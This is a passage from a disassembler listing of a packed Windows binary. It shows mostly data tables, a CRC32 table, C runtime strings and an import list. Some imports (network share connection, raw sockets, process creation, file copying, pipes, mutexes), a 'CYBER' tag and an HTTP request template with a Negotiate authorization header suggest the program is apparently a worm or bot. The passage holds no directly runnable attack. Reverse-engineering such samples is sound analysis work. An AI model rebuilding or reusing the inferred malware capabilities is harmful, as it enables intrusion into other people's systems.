77E71B14h ; DATA XREF: sub_4181D6+26r dword_427160 dd 77E7166Fh ; DATA XREF: sub_4181D6+1Dr dword_427164 dd 77E75090h ; DATA XREF: sub_418211+69r dword_427168 dd 77E74D76h ; DATA XREF: sub_418211+36r dword_42716C dd 77E77797h ; DATA XREF: sub_418211+25r dword_427170 dd 77E7011Ah ; DATA XREF: sub_418293+96r dword_427174 dd 77E73CE2h ; DATA XREF: sub_418293+60r dword_427178 dd 77E668D9h ; DATA XREF: sub_418359+15Dr dword_42717C dd 77E79924h ; DATA XREF: sub_418B58+13r ; sub_422ACA+20Dr ... dword_427180 dd 77E77CCEh ; DATA XREF: sub_418C2A+Fr ; sub_41D834+54r ... dword_427184 dd 77E76A2Eh ; DATA XREF: sub_4196BC+DEr dword_427188 dd 77E7FF65h ; DATA XREF: sub_419B0F+5Ar dword_42718C dd 77EB7624h ; DATA XREF: sub_419B0F+3Dr dword_427190 dd 77E6C29Dh ; DATA XREF: sub_41A19D+1EBr dword_427194 dd 77E76C1Ah ; DATA XREF: sub_41AA42+1CFr dword_427198 dd 77F5722Fh ; DATA XREF: sub_41B202+110r ; sub_41B202+22Dr ... dword_42719C dd 77F6183Eh ; DATA XREF: sub_42675Cr dword_4271A0 dd 77E76E3Dh ; DATA XREF: sub_41D081+6Cr ; sub_4247EC+38r dword_4271A4 dd 77E61608h ; DATA XREF: sub_41D081+17r dword_4271A8 dd 77E6177Ah ; DATA XREF: sub_41D933+9Fr ; sub_423302+59r dword_4271AC dd 77E7C938h ; DATA XREF: sub_41D933+74r dword_4271B0 dd 77E7C486h ; DATA XREF: sub_41D933+26r dword_4271B4 dd 77E7AC5Eh ; DATA XREF: sub_41DC8A+54r dword_4271B8 dd 77E76E0Bh ; DATA XREF: sub_41DDD2+50r dword_4271BC dd 77E7C726h ; DATA XREF: sub_41DDD2+11r dword_4271C0 dd 77E79E34h ; DATA XREF: sub_41DEA2+240r ; sub_41E976+120r ... dword_4271C4 dd 77E7980Ah ; DATA XREF: sub_41E4D4+76r ; sub_41E585+51r ... dword_4271C8 dd 77E73196h ; DATA XREF: sub_42478C+Cr dword_4271CC dd 77E7849Fh ; DATA XREF: sub_41FEA9+48r ; sub_4200E8+14r ... dword_4271D0 dd 77E7A13Fh ; DATA XREF: sub_420042+2Fr align 8 dword_4271D8 dd 71B2ACCBh ; DATA XREF: sub_426750r align 10h dword_4271E0 dd 71AB4122h ; DATA XREF: sub_414B45+D4r dword_4271E4 dd 71AB1746h ; DATA XREF: sub_412660+1DEr dword_4271E8 dd 71AB401Ch ; DATA XREF: sub_412660+21Br ; sub_412660+243r dword_4271EC dd 71AB1836h ; DATA XREF: sub_40EFBE+6Er ; sub_40F03B+8Er dword_4271F0 dd 71AB41DAh ; DATA XREF: sub_40E991+4Ar ; sub_40EFBE+15r dword_4271F4 dd 71AB3F8Dh ; DATA XREF: sub_40E991+5Ar dword_4271F8 dd 71AB155Ah ; DATA XREF: sub_40E991+8Dr ; sub_4136C5+70r ... dword_4271FC dd 71AB3ECEh ; DATA XREF: sub_40E991+B5r dword_427200 dd 71AB5DE2h ; DATA XREF: sub_40E991+C9r dword_427204 dd 71AB868Dh ; DATA XREF: sub_40E991+171r dword_427208 dd 71AB5A01h ; DATA XREF: sub_414C2E+20r dword_42720C dd 71AB12F8h ; DATA XREF: sub_40DEA0+27r ; sub_40DFE2+27r ... dword_427210 dd 71AB1746h ; DATA XREF: sub_40DEA0+36r ; sub_40DFE2+36r ... dword_427214 dd 71AB3E5Dh ; DATA XREF: sub_40DEA0+59r ; sub_40DFE2+59r ... dword_427218 dd 71AB5690h ; DATA XREF: sub_40DEA0+6Ar ; sub_40DFE2+6Ar ... dword_42721C dd 71AB1A6Dh ; DATA XREF: sub_40DEA0+E0r ; sub_40DFE2+E0r ... dword_427220 dd 71AB3C22h ; DATA XREF: .packed:0040D388r ; sub_40DEA0+45r ... dword_427224 dd 71AB1AF4h ; DATA XREF: sub_40CFDE+12r ; sub_40DEA0+C3r ... dword_427228 dd 71AB1890h ; DATA XREF: sub_40CE40+4Cr ; sub_40E991+106r dword_42722C dd 71AB1B7Bh ; DATA XREF: sub_426756r dword_427230 dd 71AB157Eh ; DATA XREF: sub_401ACD+2FA8r align 8 dword_427238 dd 0 ; DATA XREF: sub_401070+26r dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh aCyber db 'CYBER',0 ; DATA XREF: sub_401ACD+347Co ; sub_401ACD+356Co ... align 10h aCyber_0 db 'CYBER',0 ; DATA XREF: sub_401ACD+389Co ; sub_401ACD+38D2o ... align 4 aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D21E+62o db 'Host: %s',0Dh,0Ah db 'Authorization: Negotiate %s',0Dh,0Ah db 0Dh,0Ah,0 align 8 dbl_427688 dq 1.388888888888889e-2 ; DATA XREF: sub_40D030+2Fr dbl_427690 dq 1.666666666666667e-1 ; DATA XREF: sub_40D030+15r dword_427698 dd 0FFFFFFFFh ; DATA XREF: sub_40D07C+16Fr ; sub_40D4B0r ... align 10h dbl_4276A0 dq 1.333333333333333 ; DATA XREF: sub_40D07C+79r dword_4276A8 dd 0 ; DATA XREF: sub_40D21E+4Do ; sub_40D560+5Bo ... flt_4276AC dd 5.0e-1 ; DATA XREF: sub_40D99B+398r dbl_4276B0 dq 9.765625e-4 ; DATA XREF: sub_4163F9+2BDr ; sub_4163F9+2D8r ... dbl_4276B8 dq -1.52587890625e-4 ; DATA XREF: sub_417ADD+3E5r dbl_4276C0 dq 3.0517578125e-4 ; DATA XREF: sub_417ADD+3C5r dbl_4276C8 dq -3.0517578125e-4 ; DATA XREF: sub_417ADD+342r ; sub_417ADD+3A7r dbl_4276D0 dq 1.52587890625e-4 ; DATA XREF: sub_417ADD+271r dbl_4276D8 dq -1.739501953125e-3 ; DATA XREF: sub_417ADD+24Br ; sub_417ADD+2D5r ... dbl_4276E0 dq 3.11279296875e-3 ; DATA XREF: sub_417ADD+E1r dbl_4276E8 dq 3.0517578125e-5 ; DATA XREF: sub_417ADD+AEr ; sub_417ADD+138r ... dbl_4276F0 dq 6.103515625e-5 ; DATA XREF: sub_417ADD+93r ; sub_417ADD+308r dbl_4276F8 dq 2.288818359375e-3 ; DATA XREF: sub_417ADD+21r dbl_427700 dq -3.0517578125e-5 ; DATA XREF: sub_418684+2Br flt_427708 dd 9.765625e-4 ; DATA XREF: sub_41A4D1+1B0r flt_42770C dd 8.0 ; DATA XREF: sub_41A4D1+1AAr flt_427710 dd 0.0 ; DATA XREF: sub_41A4D1+171r flt_427714 dd 1.0e-3 ; DATA XREF: sub_41A4D1+168r dbl_427718 dq 1.0 ; DATA XREF: sub_41C679+6Cr ; sub_41C7BF+6Cr ... dword_427720 dd 0FFFFFFFFh, 41DA0Ah, 41DA1Eh ; DATA XREF: sub_41D933+5o a__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: sub_41DC8A+8Eo align 4 a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: sub_41DC8A+4Fo align 4 byte_42775C db 6 ; DATA XREF: sub_41F69F:loc_41F6F6r db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h dd 8000008h, 7000800h, 8 aNull: ; DATA XREF: .packed:off_43CBD4o unicode 0, <(null)>,0 align 4 aNull_0 db '(null)',0 ; DATA XREF: .packed:off_43CBD0o align 10h a_yn db '_yn',0 a_y1 db '_y1',0 a_y0 db '_y0',0 aFrexp db 'frexp',0 align 4 aFmod db 'fmod',0 align 4 a_hypot db '_hypot',0 align 4 a_cabs db '_cabs',0 align 4 aLdexp db 'ldexp',0 align 4 aModf db 'modf',0 align 4 aFabs db 'fabs',0 align 4 aFloor db 'floor',0 align 4 aCeil db 'ceil',0 align 4 aTan db 'tan',0 aCos db 'cos',0 aSin db 'sin',0 aSqrt db 'sqrt',0 align 4 aAtan2 db 'atan2',0 align 10h aAtan db 'atan',0 align 4 aAcos db 'acos',0 align 10h aAsin db 'asin',0 align 4 aTanh db 'tanh',0 align 10h aCosh db 'cosh',0 align 4 aSinh db 'sinh',0 align 10h aLog10 db 'log10',0 align 4 aPow db 'pow',0 aExp db 'exp',0 ; DATA XREF: .packed:off_43CE4Co dbl_427880 dq 0.0 ; DATA XREF: sub_42135F+8Cr ; sub_42135F+ACr ... dbl_427888 dq 4.195835e6 ; DATA XREF: sub_421874+Fr dbl_427890 dq 3.145727e6 ; DATA XREF: sub_421874+6r aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_4218B2+Fo align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_4218B2o align 10h aE000 db 'e+000',0 ; DATA XREF: sub_4219D9+93o align 4 dword_4278C8 dd 0FFFFFFFFh, 4220C4h, 4220CEh, 0 ; DATA XREF: sub_42205D+5o dword_4278D8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42218C+5o dd offset loc_42224A align 8 dd offset sub_422228 dd offset sub_422232 dword_4278F0 dd 0FFFFFFFFh, 42247Ah, 42247Eh, 0 ; DATA XREF: sub_4222C2+5o dword_427900 dd 0FFFFFFFFh, 4224DCh, 4224E5h, 0 ; DATA XREF: sub_422486+5o dword_427910 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42255C+5o dd offset loc_4225AD align 10h dd offset loc_422599 dd offset loc_42259D dword_427928 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4225B2+5o dd offset loc_422603 align 8 dd offset loc_4225EF dd offset loc_4225F3 dword_427940 dd 2 dup(0) ; DATA XREF: sub_422ACA+36o ; sub_423CEC+39o ... dword_427948 dd 0FFFFFFFFh, 422BDAh, 422BDEh, 0FFFFFFFFh, 422C8Eh, 422C92h ; DATA XREF: sub_422ACA+5o dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0 dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h dd 65682065h, 0A0D7061h, 0 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 10h aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 4 aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 10h aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 4 aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 4 aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 4 aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah db 'abnormal program termination',0Dh,0Ah,0 align 4 aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 10h aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: .packed:off_43D01Co db '- floating point not loaded',0Dh,0Ah,0 align 4 aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4235C9+119o align 10h asc_427C10 db 0Ah ; DATA XREF: sub_4235C9+F1o db 0Ah,0 align 4 aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_4235C9+D3o db 0Ah db 'Program: ',0 align 10h a___ db '...',0 ; DATA XREF: sub_4235C9+BFo aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_4235C9+7Do align 10h dword_427C50 dd 0FFFFFFFFh, 423DE5h, 423DE9h ; DATA XREF: sub_423CEC+5o aSunmontuewedth db 'SunMonTueWedThuFriSat',0 align 4 aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0 align 4 aTz db 'TZ',0 ; DATA XREF: sub_4247EC+Ao align 10h aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_424D78+3Do align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_424D78+35o aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_424D78+24o a1Qnan db '1#QNAN',0 ; DATA XREF: sub_4256C2:loc_4257B7o align 4 a1Inf db '1#INF',0 ; DATA XREF: sub_4256C2+D8o align 10h a1Ind db '1#IND',0 ; DATA XREF: sub_4256C2+C7o align 4 a1Snan db '1#SNAN',0 ; DATA XREF: sub_4256C2+ADo align 10h dword_427CF0 dd 0FFFFFFFFh, 4260BAh, 4260BEh, 0FFFFFFFFh, 426129h, 42612Dh ; DATA XREF: sub_425F03+5o dd 427E2Ch off_427D0C dd offset loc_4264E2 ; DATA XREF: sub_4264BA+8o ; sub_4264FE+2Co ... dd offset sub_4264D5 dd offset sub_4266F6 dd offset dword_427E78 off_427D1C dd offset sub_42654C ; DATA XREF: sub_4264FE+3Ao ; sub_426568o ... dd offset sub_4264D5 dd offset loc_426732 dword_427D28 dd 0 ; DATA XREF: sub_4264FE+16o ; sub_4265D0+16o aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_426573+11o dd offset dword_427EC4 off_427D48 dd offset sub_42665B ; DATA XREF: sub_426677o ; sub_42669A+37o ... dd offset sub_4264D5 dd offset loc_426714 aStringTooLong db 'string too long',0 ; DATA XREF: sub_42669A+11o dd offset dword_427F08 off_427D68 dd offset loc_4267F7 ; DATA XREF: sub_4267E2o ; .packed:off_43D744o ... dd offset dword_427F38 off_427D70 dd offset loc_426813 ; DATA XREF: sub_42682F+8o ; sub_42686C+8o ... dd offset sub_4268CC aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_4268CC+7o align 10h dword_427D90 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_4268D9+Eo dd 3, 19930520h, 2 dup(0) dword_427DB0 dd 0FFFFFFFFh, 426A8Ah, 426A8Eh, 0FFFFFFFFh, 426B07h, 426B0Bh ; DATA XREF: sub_426988+5o dword_427DC8 dd 0FFFFFFFFh, 426CFFh, 426D03h, 0FFFFFFFFh, 426D5Ch, 426D60h ; DATA XREF: sub_426C13+5o dd 43D744h, 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) off_427DF8 dd offset off_43D75C ; DATA XREF: .packed:00427E10o ; .packed:00427E5Co ... dd 1, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427DF8 dd offset dword_427DC8+18h dword_427E18 dd 3 dup(0) ; DATA XREF: .packed:00427E3Co dd 2, 427E10h, 3 dup(0) dd offset off_43D75C dd offset dword_427E18+4 off_427E40 dd offset off_43D77C ; DATA XREF: .packed:00427E58o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427E40 dd offset off_427DF8 dd offset dword_427DC8+18h dd 0 db 0 ; DATA XREF: .packed:00427E88o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 3, 427E58h dword_427E78 dd 3 dup(0) ; DATA XREF: .packed:00427D18o dd offset off_43D77C dd offset unk_427E68 off_427E8C dd offset off_43D79C ; DATA XREF: .packed:00427EA4o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427E8C dd offset off_427DF8 dd offset dword_427DC8+18h dword_427EB0 dd 3 dup(0) ; DATA XREF: .packed:00427ED4o dd 3, 427EA4h dword_427EC4 dd 3 dup(0) ; DATA XREF: .packed:00427D44o dd offset off_43D79C dd offset dword_427EB0+4 off_427ED8 dd offset off_43D7C0 ; DATA XREF: .packed:00427EF0o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_427ED8 dd 0 db 0 ; DATA XREF: .packed:00427F18o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 1, 427EF0h dword_427F08 dd 3 dup(0) ; DATA XREF: .packed:00427D64o dd offset off_43D7C0 dd offset unk_427EF8 dd offset dword_427DC8+18h dword_427F20 dd 4 dup(0) ; DATA XREF: .packed:00427F48o dd 1, 427F1Ch dword_427F38 dd 3 dup(0) ; DATA XREF: .packed:00427D6Co dd offset off_43D744 dd offset dword_427F20+8 align 10h dword_427F50 dd 19930520h, 2, 427F70h, 5 dup(0) ; DATA XREF: .packed:loc_426DF7o dd 0FFFFFFFFh, 426DE0h, 0 dd offset sub_426DD8 dword_427F80 dd 19930520h, 2, 427FA0h, 5 dup(0) ; DATA XREF: .packed:loc_426E14o dd 0FFFFFFFFh, 426E04h, 0 dd offset loc_426E0C dword_427FB0 dd 19930520h, 2, 427FD0h, 1, 427FE0h, 3 dup(0) ; DATA XREF: .packed:loc_426E20o dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 427FF8h, 4 dup(0) ; --------------------------------------------------------------------------- retf 40D7h ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 426E2Ah dword_428010 dd 19930520h, 1, 428008h, 5 dup(0) ; DATA XREF: .packed:loc_426E32o dd offset off_43D744 align 8 dd 0FFFFFFFFh, 0 dd 0Ch, 42686Ch, 0 dd offset off_43D75C dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 426618h, 0 dd offset off_43D77C align 10h dd 0FFFFFFFFh, 0 dword_428078 dd 1Ch, 426682h, 3, 428064h, 428048h, 42802Ch ; DATA XREF: .packed:0042809Co dword_428090 dd 0 ; DATA XREF: sub_426573+2Eo ; sub_4266F6+4Bo dd offset sub_426568 dd 0 dd offset dword_428078+8 dd 0FFFFFFFFh, 426E3Ch dword_4280A8 dd 19930520h, 1, 4280A0h, 4 dup(0) ; DATA XREF: .packed:loc_426E44o dd 0FFFFFFFFh, 426E4Eh dword_4280CC dd 19930520h, 1, 4280C4h, 4 dup(0) ; DATA XREF: .packed:loc_426E56o dd 0FFFFFFFFh, 426E60h dword_4280F0 dd 19930520h, 1, 4280E8h, 5 dup(0) ; DATA XREF: .packed:loc_426E68o dd offset off_43D79C align 8 dd 0FFFFFFFFh, 0 dword_428120 dd 1Ch, 4266DEh, 3, 42810Ch, 428048h, 42802Ch ; DATA XREF: .packed:00428144o dword_428138 dd 0 ; DATA XREF: sub_42669A+2Eo ; sub_4266F6+2Do dd offset sub_426677 dd 0 dd offset dword_428120+8 dd 0FFFFFFFFh, 426E72h dword_428150 dd 19930520h, 1, 428148h, 4 dup(0) ; DATA XREF: .packed:loc_426E7Ao dword_42816C dd 2, 428048h, 42802Ch ; DATA XREF: .packed:00428184o dword_428178 dd 0 ; DATA XREF: sub_4266F6+Fo dd offset sub_4264BA dd 0 dd offset dword_42816C dd 283B0h, 2 dup(0) dd 28426h, 271D8h, 283B8h, 2 dup(0) dd 2843Ch, 271E0h, 281D8h, 2 dup(0) dd 28CA8h, 27000h, 5 dup(0) dd 28780h, 28C8Eh, 28C7Ch, 28C6Ah, 28C5Ah, 28C4Ah, 28C3Ah dd 28C1Ch, 28C0Ah, 28BF8h, 28BE4h, 28BD4h db 0C6h, 8Bh, 2 ; --------------------------------------------------------------------------- loc_42820B: ; CODE XREF: .packed:00428284j add [esi-5BFFFD75h], dh mov eax, [edx] add [edx+7200028Bh], cl mov eax, [edx] add [eax-75h], bl add al, [eax] db 3Eh mov eax, [edx] loc_428223: ; CODE XREF: .packed:0042829Cj add [edx], ah mov eax, [edx] add [edx], dl mov eax, [edx] add [edx], al mov eax, [edx] add dh, dh mov al, [edx] add ah, ah mov al, [edx] add al, bl mov al, [edx] add [eax-7Ch], cl add al, [eax] push esi test [edx], al add [esp+eax*4+2], ah add [esi-7Ch], dh add al, [eax] mov word ptr [edx+eax+284A200h], es add [edx-45FFFD7Ch], ch test [edx], al add al, cl test [edx], al add dh, dl test [edx], al add ah, ch test [edx], al add ah, bh test [edx], al add [eax], cl test [edx], eax add [esi], bl test [edx], eax add ds:85480002h[eax*4], dh add al, [eax] pop esi test [edx], eax add [esi-7Bh], ch add al, [eax] jle short loc_42820B add al, [eax] nop test [edx], eax add [eax-53FFFD7Bh], ah test [edx], eax add [ebp+eax*4-7A31FFFEh], bh add al, [eax] loop loc_428223 add al, [eax] ; --------------------------------------------------------------------------- dd 285F4h, 28604h, 28612h, 2862Ah, 28642h, 2866Ah, 28682h dd 2868Eh, 2869Eh, 286AAh, 286B8h, 286CCh, 286DEh, 286F2h dd 28700h, 28712h, 28724h, 28732h, 2873Eh, 28756h, 28770h dd 28792h, 287A4h, 287BCh, 287D6h, 287F2h, 28802h, 2881Ch dd 28838h, 28846h, 28860h, 2886Ch, 28878h, 2888Ah, 2889Ch dd 288B0h, 288C0h, 288D2h, 288E2h, 288F0h, 28902h, 28912h dd 28928h, 28936h, 28944h, 28960h, 28976h, 2898Ch, 28998h dd 289AEh, 289BEh, 289D2h, 289E8h, 289F6h, 28A02h, 28A1Ch dd 28A2Ch, 28A3Eh, 28A50h, 28A5Eh, 28A78h, 28A86h, 28A94h dd 28AA2h, 28AB2h, 28AC2h, 28ACEh, 0 dd 28410h, 0 dd 80000007h, 8000000Fh, 8000000Ch, 80000074h, 80000073h dd 80000015h, 8000000Ah, 80000002h, 8000000Dh, 80000001h dd 2842Eh, 8000000Bh, 80000009h, 80000004h, 80000010h dd 80000003h, 80000017h, 80000013h, 80000012h, 80000097h dd 80000006h, 0 db 6 align 2 aWnetaddconne_1 db 'WNetAddConnection2A',0 aMpr_dll_0 db 'MPR.dll',0 aA_1 db 'A',0 aWsasocketa_0 db 'WSASocketA',0 align 4 aWs2_32_dll_0 db 'WS2_32.dll',0 align 4 db '¹',0 aExitprocess db 'ExitProcess',0 a4 db '4',0 aClosehandle db 'CloseHandle',0 aF db 'f',0 aCreateprocessa db 'CreateProcessA',0 align 2 dw 17Dh aGetmodulefilen db 'GetModuleFileNameA',0 align 4 db 0C1h ; Á db 1, 47h, 65h aTsystemdirecto db 'tSystemDirectoryA',0 dw 356h aSleep db 'Sleep',0 aO_0 db 'o',0 aCreatethread db 'CreateThread',0 align 2 aG db 'ƒ',0 aDeletefilea db 'DeleteFileA',0 dd 704F0286h, 72506E65h, 7365636Fh, 1430073h aGetcurrentproc db 'GetCurrentProcessId',0 db 71h ; q db 1, 47h, 65h aTlasterror db 'tLastError',0 align 4 aC db 'C',0 aCopyfilea db 'CopyFileA',0 db 19h db 3, 53h, 65h aTfileattribute db 'tFileAttributesA',0 align 2 dw 15Eh aGetfileattribu db 'GetFileAttributesA',0 align 4 db 7Fh ; db 1, 47h, 65h aTmodulehandlea db 'tModuleHandleA',0 align 4 db 90h db 3, 57h, 61h aItforsingleobj db 'itForSingleObject',0 db '`',0 aCreatemutexa db 'CreateMutexA',0 align 2 dw 1DFh aGettickcount db 'GetTickCount',0 align 2 dw 35Fh aTerminatethrea db 'TerminateThread',0 dd 654701D5h, 6D655474h, 74615070h, 4168h, 6F4D026Eh, 69466576h dd 41656Ch, 6F4C0252h, 694C6461h, 72617262h, 4179h, 654701A0h dd 6F725074h, 64644163h, 73736572h, 1140000h, 43746547h dd 75706D6Fh, 4E726574h, 41656D61h, 1740000h, 4C746547h dd 6C61636Fh, 666E4965h, 416Fh, 654701E9h, 72655674h, 6E6F6973h dd 417845h, 784500BAh, 68547469h, 64616572h, 2510000h aLeavecriticals db 'LeaveCriticalSection',0 align 2 aS_2 db '˜',0 aEntercriticals db 'EnterCriticalSection',0 align 2 dw 224h aInitializecrit db 'InitializeCriticalSectionAndSpinCount',0 aB db '',0 aDeletecritical db 'DeleteCriticalSection',0 dw 3A4h aWritefile db 'WriteFile',0 aO_1 db 'O',0 aCreateeventa db 'CreateEventA',0 align 2 dw 2B5h aReadfile_0 db 'ReadFile',0 align 2 aS_3 db 'S',0 aCreatefilea db 'CreateFileA',0 dd 6554035Eh, 6E696D72h, 50657461h, 65636F72h, 7373h, 75440093h dd 63696C70h, 48657461h, 6C646E61h, 1420065h aGetcurrentpr_0 db 'GetCurrentProcess',0 aE_0 db 'e',0 aCreatepipe db 'CreatePipe',0 align 10h dd 654701E0h, 6D695474h, 726F4665h, 4174616Dh, 1470000h dd 44746547h, 46657461h, 616D726Fh, 4174h, 65470163h, 6C694674h dd 7A695365h, 0CE0065h, 646E6946h, 736F6C43h, 0C50065h aFiletimetosyst db 'FileTimeToSystemTime',0 align 2 db 'Ä',0 aFiletimetoloca db 'FileTimeToLocalFileTime',0 db 'Ü',0 aFindnextfilea db 'FindNextFileA',0 db 'Ò',0 aFindfirstfilea db 'FindFirstFileA',0 align 2 dw 31Bh aSetfilepointer db 